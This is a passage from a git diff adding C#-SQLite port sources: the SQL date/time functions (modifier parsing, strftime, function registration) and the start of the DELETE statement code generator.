/* + ** Compute both YMD and HMS + */ + static void computeYMD_HMS( DateTime p ) + { + computeYMD( p ); + computeHMS( p ); + } + + /* + ** Clear the YMD and HMS and the TZ + */ + static void clearYMD_HMS_TZ( DateTime p ) + { + p.validYMD = 0; + p.validHMS = 0; + p.validTZ = 0; + } + +#if !SQLITE_OMIT_LOCALTIME + /* +** Compute the difference (in milliseconds) +** between localtime and UTC (a.k.a. GMT) +** for the time value p where p is in UTC. +*/ + static int localtimeOffset( DateTime p ) + { + DateTime x; DateTime y = new DateTime(); + time_t t; + x = p; + computeYMD_HMS( x ); + if ( x.Y < 1971 || x.Y >= 2038 ) + { + x.Y = 2000; + x.M = 1; + x.D = 1; + x.h = 0; + x.m = 0; + x.s = 0.0; + } + else + { + int s = (int)( x.s + 0.5 ); + x.s = s; + } + x.tz = 0; + x.validJD = 0; + computeJD( x ); + t = (long)( x.iJD / 1000 - 210866760000L );// t = x.iJD/1000 - 21086676*(i64)10000; +#if HAVE_LOCALTIME_R +{ +struct tm sLocal; +localtime_r(&t, sLocal); +y.Y = sLocal.tm_year + 1900; +y.M = sLocal.tm_mon + 1; +y.D = sLocal.tm_mday; +y.h = sLocal.tm_hour; +y.m = sLocal.tm_min; +y.s = sLocal.tm_sec; +} +#elif (HAVE_LOCALTIME_S) +{ +struct tm sLocal; +localtime_s(&sLocal, t); +y.Y = sLocal.tm_year + 1900; +y.M = sLocal.tm_mon + 1; +y.D = sLocal.tm_mday; +y.h = sLocal.tm_hour; +y.m = sLocal.tm_min; +y.s = sLocal.tm_sec; +} +#else + { + tm pTm; + sqlite3_mutex_enter( sqlite3MutexAlloc( SQLITE_MUTEX_STATIC_MASTER ) ); + pTm = localtime( t ); + y.Y = pTm.tm_year;// +1900; + y.M = pTm.tm_mon;// +1; + y.D = pTm.tm_mday; + y.h = pTm.tm_hour; + y.m = pTm.tm_min; + y.s = pTm.tm_sec; + sqlite3_mutex_leave( sqlite3MutexAlloc( SQLITE_MUTEX_STATIC_MASTER ) ); + } +#endif + y.validYMD = 1; + y.validHMS = 1; + y.validJD = 0; + y.validTZ = 0; + computeJD( y ); + return (int)( y.iJD - x.iJD ); + } +#endif //* SQLITE_OMIT_LOCALTIME */ + + /* +** Process a modifier to a date-time stamp. The modifiers are +** as follows: +** +** NNN days +** NNN hours +** NNN minutes +** NNN.NNNN seconds +** NNN months +** NNN years +** start of month +** start of year +** start of week +** start of day +** weekday N +** unixepoch +** localtime +** utc +** +** Return 0 on success and 1 if there is any kind of error. +*/ + static int parseModifier( string zMod, DateTime p ) + { + int rc = 1; + int n; + double r = 0; + StringBuilder z = new StringBuilder( zMod.ToLower() ); + string zBuf;//[30]; + //z = zBuf; + //for(n=0; niJD = p->iJD/86400 + 21086676*(i64)10000000; + clearYMD_HMS_TZ( p ); + rc = 0; + } +#if !SQLITE_OMIT_LOCALTIME + else if ( z.ToString() == "utc" ) + { + int c1; + computeJD( p ); + c1 = localtimeOffset( p ); + p.iJD -= (long)c1; + clearYMD_HMS_TZ( p ); + p.iJD += (long)( c1 - localtimeOffset( p ) ); + rc = 0; + } +#endif + break; + } + case 'w': + { + /* + ** weekday N + ** + ** Move the date to the same time on the next occurrence of + ** weekday N where 0==Sunday, 1==Monday, and so forth. If the + ** date is already on the appropriate weekday, this is a no-op. + */ + if ( z.ToString().StartsWith( "weekday " ) && sqlite3AtoF( z.ToString().Substring( 8 ), ref r ) != 0 //getValue( z[8], ref r ) > 0 + && ( n = (int)r ) == r && n >= 0 && r < 7 ) + { + sqlite3_int64 Z; + computeYMD_HMS( p ); + p.validTZ = 0; + p.validJD = 0; + computeJD( p ); + Z = ( ( p.iJD + 129600000 ) / 86400000 ) % 7; + if ( Z > n ) Z -= 7; + p.iJD += ( n - Z ) * 86400000; + clearYMD_HMS_TZ( p ); + rc = 0; + } + break; + } + case 's': + { + /* + ** start of TTTTT + ** + ** Move the date backwards to the beginning of the current day, + ** or month or year. + */ + if ( z.Length <= 9 ) z.Length = 0; else z.Remove( 0, 9 );//z += 9; + computeYMD( p ); + p.validHMS = 1; + p.h = p.m = 0; + p.s = 0.0; + p.validTZ = 0; + p.validJD = 0; + if ( z.ToString() == "month" ) + { + p.D = 1; + rc = 0; + } + else if ( z.ToString() == "year" ) + { + computeYMD( p ); + p.M = 1; + p.D = 1; + rc = 0; + } + else if ( z.ToString() == "day" ) + { + rc = 0; + } + break; + } + case '+': + case '-': + case '0': + case '1': + case '2': + case '3': + case '4': + case '5': + case '6': + case '7': + case '8': + case '9': + { + double rRounder; + n = sqlite3AtoF( z.ToString(), ref r );//getValue( z, ref r ); + Debug.Assert( n >= 1 ); + if ( z[n] == ':' ) + { + /* A modifier of the form (+|-)HH:MM:SS.FFF adds (or subtracts) the + ** specified number of hours, minutes, seconds, and fractional seconds + ** to the time. The ".FFF" may be omitted. The ":SS.FFF" may be + ** omitted. + */ + string z2 = z.ToString(); + DateTime tx; + sqlite3_int64 day; + int z2Index = 0; + if ( !sqlite3Isdigit( z2[z2Index] ) ) z2Index++;// z2++; + tx = new DateTime();// memset( &tx, 0, sizeof(tx)); + if ( parseHhMmSs( z2.Substring( z2Index ), tx ) != 0 ) break; + computeJD( tx ); + tx.iJD -= 43200000; + day = tx.iJD / 86400000; + tx.iJD -= day * 86400000; + if ( z[0] == '-' ) tx.iJD = -tx.iJD; + computeJD( p ); + clearYMD_HMS_TZ( p ); + p.iJD += tx.iJD; + rc = 0; + break; + } + //z += n; + while ( sqlite3Isspace( z[n] ) ) n++;// z++; + z = z.Remove( 0, n ); + n = sqlite3Strlen30( z ); + if ( n > 10 || n < 3 ) break; + if ( z[n - 1] == 's' ) { z.Length = --n; }// z[n - 1] = '\0'; n--; } + computeJD( p ); + rc = 0; + rRounder = r < 0 ? -0.5 : +0.5; + if ( n == 3 && z.ToString() == "day" ) + { + p.iJD += (long)( r * 86400000.0 + rRounder ); + } + else if ( n == 4 && z.ToString() == "hour" ) + { + p.iJD += (long)( r * ( 86400000.0 / 24.0 ) + rRounder ); + } + else if ( n == 6 && z.ToString() == "minute" ) + { + p.iJD += (long)( r * ( 86400000.0 / ( 24.0 * 60.0 ) ) + rRounder ); + } + else if ( n == 6 && z.ToString() == "second" ) + { + p.iJD += (long)( r * ( 86400000.0 / ( 24.0 * 60.0 * 60.0 ) ) + rRounder ); + } + else if ( n == 5 && z.ToString() == "month" ) + { + int x, y; + computeYMD_HMS( p ); + p.M += (int)r; + x = p.M > 0 ? ( p.M - 1 ) / 12 : ( p.M - 12 ) / 12; + p.Y += x; + p.M -= x * 12; + p.validJD = 0; + computeJD( p ); + y = (int)r; + if ( y != r ) + { + p.iJD += (long)( ( r - y ) * 30.0 * 86400000.0 + rRounder ); + } + } + else if ( n == 4 && z.ToString() == "year" ) + { + int y = (int)r; + computeYMD_HMS( p ); + p.Y += y; + p.validJD = 0; + computeJD( p ); + if ( y != r ) + { + p.iJD += (sqlite3_int64)( ( r - y ) * 365.0 * 86400000.0 + rRounder ); + } + } + else + { + rc = 1; + } + clearYMD_HMS_TZ( p ); + break; + } + default: + { + break; + } + } + return rc; + } + + /* + ** Process time function arguments. argv[0] is a date-time stamp. + ** argv[1] and following are modifiers. Parse them all and write + ** the resulting time into the DateTime structure p. Return 0 + ** on success and 1 if there are any errors. + ** + ** If there are zero parameters (if even argv[0] is undefined) + ** then assume a default value of "now" for argv[0]. + */ + static int isDate( + sqlite3_context context, + int argc, + sqlite3_value[] argv, + ref DateTime p + ) + { + int i; + string z; + int eType; + p = new DateTime();//memset(p, 0, sizeof(*p)); + if ( argc == 0 ) + { + setDateTimeToCurrent( context, p ); + } + else if ( ( eType = sqlite3_value_type( argv[0] ) ) == SQLITE_FLOAT + || eType == SQLITE_INTEGER ) + { + p.iJD = (long)( sqlite3_value_double( argv[0] ) * 86400000.0 + 0.5 ); + p.validJD = 1; + } + else + { + z = sqlite3_value_text( argv[0] ); + if ( String.IsNullOrEmpty( z ) || parseDateOrTime( context, z, ref p ) != 0 ) + { + return 1; + } + } + for ( i = 1 ; i < argc ; i++ ) + { + if ( String.IsNullOrEmpty( z = sqlite3_value_text( argv[i] ) ) || parseModifier( z, p ) != 0 ) + { + return 1; + } + } + return 0; + } + + + /* + ** The following routines implement the various date and time functions + ** of SQLite. + */ + + /* + ** julianday( TIMESTRING, MOD, MOD, ...) + ** + ** Return the julian day number of the date specified in the arguments + */ + static void juliandayFunc( + sqlite3_context context, + int argc, + sqlite3_value[] argv + ) + { + DateTime x = null; + if ( isDate( context, argc, argv, ref x ) == 0 ) + { + computeJD( x ); + sqlite3_result_double( context, x.iJD / 86400000.0 ); + } + } + + /* + ** datetime( TIMESTRING, MOD, MOD, ...) + ** + ** Return YYYY-MM-DD HH:MM:SS + */ + static void datetimeFunc( + sqlite3_context context, + int argc, + sqlite3_value[] argv + ) + { + DateTime x = null; + if ( isDate( context, argc, argv, ref x ) == 0 ) + { + string zBuf = "";//[100]; + computeYMD_HMS( x ); + sqlite3_snprintf( 100, ref zBuf, "%04d-%02d-%02d %02d:%02d:%02d", + x.Y, x.M, x.D, x.h, x.m, (int)( x.s ) ); + sqlite3_result_text( context, zBuf, -1, SQLITE_TRANSIENT ); + } + } + + /* + ** time( TIMESTRING, MOD, MOD, ...) + ** + ** Return HH:MM:SS + */ + static void timeFunc( + sqlite3_context context, + int argc, + sqlite3_value[] argv + ) + { + DateTime x = new DateTime(); + if ( isDate( context, argc, argv, ref x ) == 0 ) + { + string zBuf = "";//[100]; + computeHMS( x ); + sqlite3_snprintf( 100, ref zBuf, "%02d:%02d:%02d", x.h, x.m, (int)x.s ); + sqlite3_result_text( context, zBuf, -1, SQLITE_TRANSIENT ); + } + } + + /* + ** date( TIMESTRING, MOD, MOD, ...) + ** + ** Return YYYY-MM-DD + */ + static void dateFunc( + sqlite3_context context, + int argc, + sqlite3_value[] argv + ) + { + DateTime x = null; + if ( isDate( context, argc, argv, ref x ) == 0 ) + { + string zBuf = "";//[100]; + computeYMD( x ); + sqlite3_snprintf( 100, ref zBuf, "%04d-%02d-%02d", x.Y, x.M, x.D ); + sqlite3_result_text( context, zBuf, -1, SQLITE_TRANSIENT ); + } + } + + /* + ** strftime( FORMAT, TIMESTRING, MOD, MOD, ...) + ** + ** Return a string described by FORMAT. Conversions as follows: + ** + ** %d day of month + ** %f ** fractional seconds SS.SSS + ** %H hour 00-24 + ** %j day of year 000-366 + ** %J ** Julian day number + ** %m month 01-12 + ** %M minute 00-59 + ** %s seconds since 1970-01-01 + ** %S seconds 00-59 + ** %w day of week 0-6 sunday==0 + ** %W week of year 00-53 + ** %Y year 0000-9999 + ** %% % + */ + static void strftimeFunc( + sqlite3_context context, + int argc, + sqlite3_value[] argv + ) + { + { + DateTime x = new DateTime(); + u64 n; + int i, j; + StringBuilder z; + sqlite3 db; + string zFmt = sqlite3_value_text( argv[0] ); + StringBuilder zBuf = new StringBuilder( 100 ); + sqlite3_value[] argv1 = new sqlite3_value[argc - 1]; + for ( i = 0 ; i < argc - 1 ; i++ ) { argv1[i] = new sqlite3_value(); argv[i + 1].CopyTo( argv1[i] ); } + if ( String.IsNullOrEmpty( zFmt ) || isDate( context, argc - 1, argv1, ref x ) != 0 ) return; + db = sqlite3_context_db_handle( context ); + for ( i = 0, n = 1 ; i < zFmt.Length ; i++, n++ ) + { + if ( zFmt[i] == '%' ) + { + switch ( (char)zFmt[i + 1] ) + { + case 'd': + case 'H': + case 'm': + case 'M': + case 'S': + case 'W': + n++; + break; + /* fall thru */ + case 'w': + case '%': + break; + case 'f': + n += 8; + break; + case 'j': + n += 3; + break; + case 'Y': + n += 8; + break; + case 's': + case 'J': + n += 50; + break; + default: + return; /* ERROR. return a NULL */ + } + i++; + } + } + testcase( n == (u64)( zBuf.Length - 1 ) ); + testcase( n == (u64)zBuf.Length ); + testcase( n == (u64)db.aLimit[SQLITE_LIMIT_LENGTH] + 1 ); + testcase( n == (u64)db.aLimit[SQLITE_LIMIT_LENGTH] ); + if ( n < (u64)zBuf.Capacity ) + { + z = zBuf; + } + else if ( n > (u64)db.aLimit[SQLITE_LIMIT_LENGTH] ) + { + sqlite3_result_error_toobig( context ); + return; + } + else + { + z = new StringBuilder( (int)n );// sqlite3DbMallocRaw( db, n ); + //if ( z == 0 ) + //{ + // sqlite3_result_error_nomem( context ); + // return; + //} + } + computeJD( x ); + computeYMD_HMS( x ); + for ( i = j = 0 ; i < zFmt.Length ; i++ ) + { + if ( zFmt[i] != '%' ) + { + z.Append( (char)zFmt[i] ); + } + else + { + i++; + string zTemp = ""; + switch ( (char)zFmt[i] ) + { + case 'd': sqlite3_snprintf( 3, ref zTemp, "%02d", x.D ); z.Append( zTemp ); j += 2; break; + case 'f': + { + double s = x.s; + if ( s > 59.999 ) s = 59.999; + sqlite3_snprintf( 7, ref zTemp, "%06.3f", s ); z.Append( zTemp ); + j = sqlite3Strlen30( z ); + break; + } + case 'H': sqlite3_snprintf( 3, ref zTemp, "%02d", x.h ); z.Append( zTemp ); j += 2; break; + case 'W': /* Fall thru */ + case 'j': + { + int nDay; /* Number of days since 1st day of year */ + DateTime y = new DateTime(); + x.CopyTo( y ); + y.validJD = 0; + y.M = 1; + y.D = 1; + computeJD( y ); + nDay = (int)( ( x.iJD - y.iJD + 43200000 ) / 86400000 ); + if ( zFmt[i] == 'W' ) + { + int wd; /* 0=Monday, 1=Tuesday, ... 6=Sunday */ + wd = (int)( ( ( x.iJD + 43200000 ) / 86400000 ) % 7 ); + sqlite3_snprintf( 3, ref zTemp, "%02d", ( nDay + 7 - wd ) / 7 ); z.Append( zTemp ); + j += 2; + } + else + { + sqlite3_snprintf( 4, ref zTemp, "%03d", nDay + 1 ); z.Append( zTemp ); + j += 3; + } + break; + } + case 'J': + { + sqlite3_snprintf( 20, ref zTemp, "%.16g", x.iJD / 86400000.0 ); z.Append( zTemp ); + j = sqlite3Strlen30( z ); + break; + } + case 'm': sqlite3_snprintf( 3, ref zTemp, "%02d", x.M ); z.Append( zTemp ); j += 2; break; + case 'M': sqlite3_snprintf( 3, ref zTemp, "%02d", x.m ); z.Append( zTemp ); j += 2; break; + case 's': + { + sqlite3_snprintf( 30, ref zTemp, "%lld", + (i64)( x.iJD / 1000 - 21086676 * (i64)10000 ) ); z.Append( zTemp ); + j = sqlite3Strlen30( z ); + break; + } + case 'S': sqlite3_snprintf( 3, ref zTemp, "%02d", (int)x.s ); z.Append( zTemp ); j += 2; break; + case 'w': + { + z.Append( ( ( ( x.iJD + 129600000 ) / 86400000 ) % 7 ) ); + break; + } + case 'Y': + { + sqlite3_snprintf( 5, ref zTemp, "%04d", x.Y ); z.Append( zTemp ); j = sqlite3Strlen30( z ); + break; + } + default: z.Append( '%' ); break; + } + } + } + //z[j] = 0; + sqlite3_result_text( context, z.ToString(), -1, + z == zBuf ? SQLITE_TRANSIENT : SQLITE_DYNAMIC ); + } + } + + /* + ** current_time() + ** + ** This function returns the same value as time('now'). + */ + static void ctimeFunc( + sqlite3_context context, + int NotUsed, + sqlite3_value[] NotUsed2 + ) + { + UNUSED_PARAMETER2( NotUsed, NotUsed2 ); + timeFunc( context, 0, null ); + } + + /* + ** current_date() + ** + ** This function returns the same value as date('now'). + */ + static void cdateFunc( + sqlite3_context context, + int NotUsed, + sqlite3_value[] NotUsed2 + ) + { + UNUSED_PARAMETER2( NotUsed, NotUsed2 ); + dateFunc( context, 0, null ); + } + + /* + ** current_timestamp() + ** + ** This function returns the same value as datetime('now'). + */ + static void ctimestampFunc( + sqlite3_context context, + int NotUsed, + sqlite3_value[] NotUsed2 + ) + { + UNUSED_PARAMETER2( NotUsed, NotUsed2 ); + datetimeFunc( context, 0, null ); + } +#endif // * !SQLITE_OMIT_DATETIME_FUNCS) */ + +#if SQLITE_OMIT_DATETIME_FUNCS +/* +** If the library is compiled to omit the full-scale date and time +** handling (to get a smaller binary), the following minimal version +** of the functions current_time(), current_date() and current_timestamp() +** are included instead. This is to support column declarations that +** include "DEFAULT CURRENT_TIME" etc. +** +** This function uses the C-library functions time(), gmtime() +** and strftime(). The format string to pass to strftime() is supplied +** as the user-data for the function. +*/ +//static void currentTimeFunc( +// sqlite3_context *context, +// int argc, +// sqlite3_value[] argv +//){ +time_t t; +char *zFormat = (char *)sqlite3_user_data(context); +sqlite3 db; +double rT; +char zBuf[20]; +UNUSED_PARAMETER(argc); +UNUSED_PARAMETER(argv); +db = sqlite3_context_db_handle(context); +sqlite3OsCurrentTime(db.pVfs, rT); +#if !SQLITE_OMIT_FLOATING_POINT +t = 86400.0*(rT - 2440587.5) + 0.5; +#else +/* without floating point support, rT will have +** already lost fractional day precision. +*/ +t = 86400 * (rT - 2440587) - 43200; +#endif +#if HAVE_GMTIME_R +// { +// struct tm sNow; +// gmtime_r(&t, sNow); +// strftime(zBuf, 20, zFormat, sNow); +// } +#else +// { +// struct tm pTm; +// sqlite3_mutex_enter(sqlite3MutexAlloc(SQLITE_MUTEX_STATIC_MASTER)); +// pTm = gmtime(&t); +// strftime(zBuf, 20, zFormat, pTm); +// sqlite3_mutex_leave(sqlite3MutexAlloc(SQLITE_MUTEX_STATIC_MASTER)); +// } +#endif + +// sqlite3_result_text(context, zBuf, -1, SQLITE_TRANSIENT); +//} +#endif + + + /* +** This function registered all of the above C functions as SQL +** functions. This should be the only routine in this file with +** external linkage. +*/ + static void sqlite3RegisterDateTimeFunctions() + { + FuncDef[] aDateTimeFuncs = new FuncDef[] { +#if !SQLITE_OMIT_DATETIME_FUNCS +FUNCTION("julianday", -1, 0, 0, (dxFunc)juliandayFunc ), +FUNCTION("date", -1, 0, 0, (dxFunc)dateFunc ), +FUNCTION("time", -1, 0, 0, (dxFunc)timeFunc ), +FUNCTION("datetime", -1, 0, 0, (dxFunc)datetimeFunc ), +FUNCTION("strftime", -1, 0, 0, (dxFunc)strftimeFunc ), +FUNCTION("current_time", 0, 0, 0, (dxFunc)ctimeFunc ), +FUNCTION("current_timestamp", 0, 0, 0, (dxFunc)ctimestampFunc), +FUNCTION("current_date", 0, 0, 0, (dxFunc)cdateFunc ), +#else +STR_FUNCTION("current_time", 0, "%H:%M:%S", 0, currentTimeFunc), +STR_FUNCTION("current_timestamp", 0, "%Y-%m-%d", 0, currentTimeFunc), +STR_FUNCTION("current_date", 0, "%Y-%m-%d %H:%M:%S", 0, currentTimeFunc), +#endif +}; + int i; +#if SQLITE_OMIT_WSD +FuncDefHash pHash = GLOBAL( FuncDefHash, sqlite3GlobalFunctions ); +FuncDef[] aFunc = (FuncDef)GLOBAL( FuncDef, aDateTimeFuncs ); +#else + FuncDefHash pHash = sqlite3GlobalFunctions; + FuncDef[] aFunc = aDateTimeFuncs; +#endif + for ( i = 0 ; i < ArraySize( aDateTimeFuncs ) ; i++ ) + { + sqlite3FuncDefInsert( pHash, aFunc[i] ); + } + } + } +} diff --git a/SQLite/src/delete_c.cs b/SQLite/src/delete_c.cs new file mode 100644 index 0000000..453fc3b --- /dev/null +++ b/SQLite/src/delete_c.cs @@ -0,0 +1,732 @@ +using System; +using System.Diagnostics; +using System.Text; + +using u8 = System.Byte; +using u32 = System.UInt32; + +namespace CS_SQLite3 +{ + public partial class CSSQLite + { + /* + ** 2001 September 15 + ** + ** The author disclaims copyright to this source code. In place of + ** a legal notice, here is a blessing: + ** + ** May you do good and not evil. + ** May you find forgiveness for yourself and forgive others. + ** May you share freely, never taking more than you give. + ** + ************************************************************************* + ** This file contains C code routines that are called by the parser + ** in order to generate code for DELETE FROM statements. + ** + ** $Id: delete.c,v 1.207 2009/08/08 18:01:08 drh Exp $ + ** + ************************************************************************* + ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart + ** C#-SQLite is an independent reimplementation of the SQLite software library + ** + ** $Header$ + ************************************************************************* + */ + //#include "sqliteInt.h" + + /* + ** Look up every table that is named in pSrc. If any table is not found, + ** add an error message to pParse.zErrMsg and return NULL. If all tables + ** are found, return a pointer to the last table. + */ + static Table sqlite3SrcListLookup( Parse pParse, SrcList pSrc ) + { + SrcList_item pItem = pSrc.a[0]; + Table pTab; + Debug.Assert( pItem != null && pSrc.nSrc == 1 ); + pTab = sqlite3LocateTable( pParse, 0, pItem.zName, pItem.zDatabase ); + sqlite3DeleteTable( ref pItem.pTab ); + pItem.pTab = pTab; + if ( pTab != null ) + { + pTab.nRef++; + } + if ( sqlite3IndexedByLookup( pParse, pItem ) != 0 ) + { + pTab = null; + } + return pTab; + } + + /* + ** Check to make sure the given table is writable. If it is not + ** writable, generate an error message and return 1. If it is + ** writable return 0; + */ + static bool sqlite3IsReadOnly( Parse pParse, Table pTab, int viewOk ) + { + /* A table is not writable under the following circumstances: + ** + ** 1) It is a virtual table and no implementation of the xUpdate method + ** has been provided, or + ** 2) It is a system table (i.e. sqlite_master), this call is not + ** part of a nested parse and writable_schema pragma has not + ** been specified. + ** + ** In either case leave an error message in pParse and return non-zero. + */ + if ( + ( IsVirtual( pTab ) + && sqlite3GetVTable( pParse.db, pTab ).pMod.pModule.xUpdate == null ) + || ( ( pTab.tabFlags & TF_Readonly ) != 0 + && ( pParse.db.flags & SQLITE_WriteSchema ) == 0 + && pParse.nested == 0 ) + ) + { + sqlite3ErrorMsg( pParse, "table %s may not be modified", pTab.zName ); + return true; + } + +#if !SQLITE_OMIT_VIEW + if ( viewOk == 0 && pTab.pSelect != null ) + { + sqlite3ErrorMsg( pParse, "cannot modify %s because it is a view", pTab.zName ); + return true; + } +#endif + return false; + } + + +#if !SQLITE_OMIT_VIEW && !SQLITE_OMIT_TRIGGER + /* +** Evaluate a view and store its result in an ephemeral table. The +** pWhere argument is an optional WHERE clause that restricts the +** set of rows in the view that are to be added to the ephemeral table. +*/ + static void sqlite3MaterializeView( + Parse pParse, /* Parsing context */ + Table pView, /* View definition */ + Expr pWhere, /* Optional WHERE clause to be added */ + int iCur /* VdbeCursor number for ephemerial table */ + ) + { + SelectDest dest = new SelectDest(); + Select pDup; + sqlite3 db = pParse.db; + + pDup = sqlite3SelectDup( db, pView.pSelect, 0 ); + if ( pWhere != null ) + { + SrcList pFrom; + + pWhere = sqlite3ExprDup( db, pWhere, 0 ); + pFrom = sqlite3SrcListAppend( db, null, null, null ); + //if ( pFrom != null ) + //{ + Debug.Assert( pFrom.nSrc == 1 ); + pFrom.a[0].zAlias = pView.zName;// sqlite3DbStrDup( db, pView.zName ); + pFrom.a[0].pSelect = pDup; + Debug.Assert( pFrom.a[0].pOn == null ); + Debug.Assert( pFrom.a[0].pUsing == null ); + //} + //else + //{ + // sqlite3SelectDelete( db, ref pDup ); + //} + pDup = sqlite3SelectNew( pParse, null, pFrom, pWhere, null, null, null, 0, null, null ); + } + sqlite3SelectDestInit( dest, SRT_EphemTab, iCur ); + sqlite3Select( pParse, pDup, ref dest ); + sqlite3SelectDelete( db, ref pDup ); + } +#endif //* !SQLITE_OMIT_VIEW) && !SQLITE_OMIT_TRIGGER) */ + +#if (SQLITE_ENABLE_UPDATE_DELETE_LIMIT) && !(SQLITE_OMIT_SUBQUERY) +/* +** Generate an expression tree to implement the WHERE, ORDER BY, +** and LIMIT/OFFSET portion of DELETE and UPDATE statements. +** +** DELETE FROM table_wxyz WHERE a<5 ORDER BY a LIMIT 1; +** \__________________________/ +** pLimitWhere (pInClause) +*/ +Expr sqlite3LimitWhere( +Parse pParse, /* The parser context */ +SrcList pSrc, /* the FROM clause -- which tables to scan */ +Expr pWhere, /* The WHERE clause. May be null */ +ExprList pOrderBy, /* The ORDER BY clause. May be null */ +Expr pLimit, /* The LIMIT clause. May be null */ +Expr pOffset, /* The OFFSET clause. May be null */ +char zStmtType /* Either DELETE or UPDATE. For error messages. */ +){ +Expr pWhereRowid = null; /* WHERE rowid .. */ +Expr pInClause = null; /* WHERE rowid IN ( select ) */ +Expr pSelectRowid = null; /* SELECT rowid ... */ +ExprList pEList = null; /* Expression list contaning only pSelectRowid */ +SrcList pSelectSrc = null; /* SELECT rowid FROM x ... (dup of pSrc) */ +Select pSelect = null; /* Complete SELECT tree */ + +/* Check that there isn't an ORDER BY without a LIMIT clause. +*/ +if( pOrderBy!=null && (pLimit == null) ) { +sqlite3ErrorMsg(pParse, "ORDER BY without LIMIT on %s", zStmtType); +pParse.parseError = 1; +goto limit_where_cleanup_2; +} + +/* We only need to generate a select expression if there +** is a limit/offset term to enforce. +*/ +if ( pLimit == null ) +{ +/* if pLimit is null, pOffset will always be null as well. */ +Debug.Assert( pOffset == null ); +return pWhere; +} + +/* Generate a select expression tree to enforce the limit/offset +** term for the DELETE or UPDATE statement. For example: +** DELETE FROM table_a WHERE col1=1 ORDER BY col2 LIMIT 1 OFFSET 1 +** becomes: +** DELETE FROM table_a WHERE rowid IN ( +** SELECT rowid FROM table_a WHERE col1=1 ORDER BY col2 LIMIT 1 OFFSET 1 +** ); +*/ + +pSelectRowid = sqlite3PExpr( pParse, TK_ROW, null, null, null ); +if( pSelectRowid == null ) goto limit_where_cleanup_2; +pEList = sqlite3ExprListAppend( pParse, null, pSelectRowid); +if( pEList == null ) goto limit_where_cleanup_2; + +/* duplicate the FROM clause as it is needed by both the DELETE/UPDATE tree +** and the SELECT subtree. */ +pSelectSrc = sqlite3SrcListDup(pParse.db, pSrc,0); +if( pSelectSrc == null ) { +sqlite3ExprListDelete(pParse.db, pEList); +goto limit_where_cleanup_2; +} + +/* generate the SELECT expression tree. */ +pSelect = sqlite3SelectNew( pParse, pEList, pSelectSrc, pWhere, null, null, +pOrderBy, 0, pLimit, pOffset ); +if( pSelect == null ) return null; + +/* now generate the new WHERE rowid IN clause for the DELETE/UDPATE */ +pWhereRowid = sqlite3PExpr( pParse, TK_ROW, null, null, null ); +if( pWhereRowid == null ) goto limit_where_cleanup_1; +pInClause = sqlite3PExpr( pParse, TK_IN, pWhereRowid, null, null ); +if( pInClause == null ) goto limit_where_cleanup_1; + +pInClause->x.pSelect = pSelect; +pInClause->flags |= EP_xIsSelect; +sqlite3ExprSetHeight(pParse, pInClause); +return pInClause; + +/* something went wrong. clean up anything allocated. */ +limit_where_cleanup_1: +sqlite3SelectDelete(pParse.db, pSelect); +return null; + +limit_where_cleanup_2: +sqlite3ExprDelete(pParse.db, ref pWhere); +sqlite3ExprListDelete(pParse.db, pOrderBy); +sqlite3ExprDelete(pParse.db, ref pLimit); +sqlite3ExprDelete(pParse.db, ref pOffset); +return null; +} +#endif //* defined(SQLITE_ENABLE_UPDATE_DELETE_LIMIT) && !defined(SQLITE_OMIT_SUBQUERY) */ + + /* +** Generate code for a DELETE FROM statement. +** +** DELETE FROM table_wxyz WHERE a<5 AND b NOT NULL; +** \________/ \________________/ +** pTabList pWhere +*/ + static void sqlite3DeleteFrom( + Parse pParse, /* The parser context */ + SrcList pTabList, /* The table from which we should delete things */ + Expr pWhere /* The WHERE clause. May be null */ + ) + { + Vdbe v; /* The virtual database engine */ + Table pTab; /* The table from which records will be deleted */ + string zDb; /* Name of database holding pTab */ + int end, addr = 0; /* A couple addresses of generated code */ + int i; /* Loop counter */ + WhereInfo pWInfo; /* Information about the WHERE clause */ + Index pIdx; /* For looping over indices of the table */ + int iCur; /* VDBE VdbeCursor number for pTab */ + sqlite3 db; /* Main database structure */ + AuthContext sContext; /* Authorization context */ + int oldIdx = -1; /* VdbeCursor for the OLD table of AFTER triggers */ + NameContext sNC; /* Name context to resolve expressions in */ + int iDb; /* Database number */ + int memCnt = -1; /* Memory cell used for change counting */ + int rcauth; /* Value returned by authorization callback */ + +#if !SQLITE_OMIT_TRIGGER + bool isView; /* True if attempting to delete from a view */ + Trigger pTrigger; /* List of table triggers, if required */ +#endif + int iBeginAfterTrigger = 0; /* Address of after trigger program */ + int iEndAfterTrigger = 0; /* Exit of after trigger program */ + int iBeginBeforeTrigger = 0; /* Address of before trigger program */ + int iEndBeforeTrigger = 0; /* Exit of before trigger program */ + u32 old_col_mask = 0; /* Mask of OLD.* columns in use */ + + sContext = new AuthContext();//memset(&sContext, 0, sizeof(sContext)); + + db = pParse.db; + if ( pParse.nErr != 0 /*|| db.mallocFailed != 0 */ ) + { + goto delete_from_cleanup; + } + Debug.Assert( pTabList.nSrc == 1 ); + + /* Locate the table which we want to delete. This table has to be + ** put in an SrcList structure because some of the subroutines we + ** will be calling are designed to work with multiple tables and expect + ** an SrcList* parameter instead of just a Table* parameter. + */ + pTab = sqlite3SrcListLookup( pParse, pTabList ); + if ( pTab == null ) goto delete_from_cleanup; + + /* Figure out if we have any triggers and if the table being + ** deleted from is a view + */ +#if !SQLITE_OMIT_TRIGGER + int iDummy = 0; + pTrigger = sqlite3TriggersExist( pParse, pTab, TK_DELETE, null, ref iDummy ); + isView = pTab.pSelect != null; +#else +const Trigger pTrigger = null; +isView = false; +#endif +#if SQLITE_OMIT_VIEW +//# undef isView +isView = false; +#endif + + /* If pTab is really a view, make sure it has been initialized. +*/ + if ( sqlite3ViewGetColumnNames( pParse, pTab ) != 0 ) + { + goto delete_from_cleanup; + } + + if ( sqlite3IsReadOnly( pParse, pTab, ( pTrigger != null ? 1 : 0 ) ) ) + { + goto delete_from_cleanup; + } + iDb = sqlite3SchemaToIndex( db, pTab.pSchema ); + Debug.Assert( iDb < db.nDb ); + zDb = db.aDb[iDb].zName; +#if !SQLITE_OMIT_AUTHORIZATION +rcauth = sqlite3AuthCheck(pParse, SQLITE_DELETE, pTab->zName, 0, zDb); +#else + rcauth = SQLITE_OK; +#endif + Debug.Assert( rcauth == SQLITE_OK || rcauth == SQLITE_DENY || rcauth == SQLITE_IGNORE ); + if ( rcauth == SQLITE_DENY ) + { + goto delete_from_cleanup; + } + Debug.Assert( !isView || pTrigger != null ); + + /* Allocate a cursor used to store the old.* data for a trigger. + */ + if ( pTrigger != null ) + { + oldIdx = pParse.nTab++; + } + + /* Assign cursor number to the table and all its 